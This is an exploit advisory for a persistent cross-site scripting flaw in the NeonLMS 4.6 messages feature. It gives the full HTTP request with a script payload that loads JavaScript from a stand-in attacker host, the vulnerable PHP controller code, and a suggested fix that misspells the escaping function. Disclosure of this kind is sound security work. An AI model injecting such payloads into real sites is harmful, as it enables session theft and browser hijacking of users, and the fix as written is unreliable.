NeonLMS Learning Management System PHP Laravel Script 4.6 XSS

`  
# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Messages' Persistent Cross Site Scripting  
# Exploit Author: th3d1gger  
# Google Dork: N/A  
# Type: Web App  
# Date: 2020-05-29  
# Vendor Homepage: https://www.neonlms.com/  
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351  
# Affected Version: 4.6  
# Tested on: Windows  
# CVE : N/A  
  
#Vulnerable Request:  
POST /user/messages/reply HTTP/1.1  
  
Host: neonlmshost  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Referer: http://neonlmshost/user/messages?thread=1  
  
Content-Type: application/x-www-form-urlencoded  
  
Content-Length: 117  
  
  
  
Connection: close  
  
Upgrade-Insecure-Requests: 1  
  
  
  
_token=GTpbr2our96dPg1Ojk0C1MyVWr03naCDSgGqfl2J&thread_id=1&message=<script src="//attackerhost/b.js">  
  
  
#Vulnerable code  
  
payload must be lesser than 35 characters so attacker can only include external js or some kind of beef hook etc.  
  
app\Http\Controllers\Backend\MessagesController.php  
  
public function getUnreadMessages(Request $request){  
$unreadMessageCount = auth()->user()->unreadMessagesCount;  
$unreadThreads = [];  
foreach(auth()->user()->threads as $item){  
if($item->unreadMessagesCount > 0){  
$data = [  
'thread_id' => $item->id,  
'message' => str_limit($item->lastMessage->body, 35), ------>vulnerable part  
'unreadMessagesCount' => $item->unreadMessagesCount,  
'title' => $item->title  
];  
$unreadThreads[] = $data;  
}  
}  
return ['unreadMessageCount' =>$unreadMessageCount,'threads' => $unreadThreads];  
}  
  
#fix  
'message' => html_entitites(str_limit($item->lastMessage->body, 35)),  
`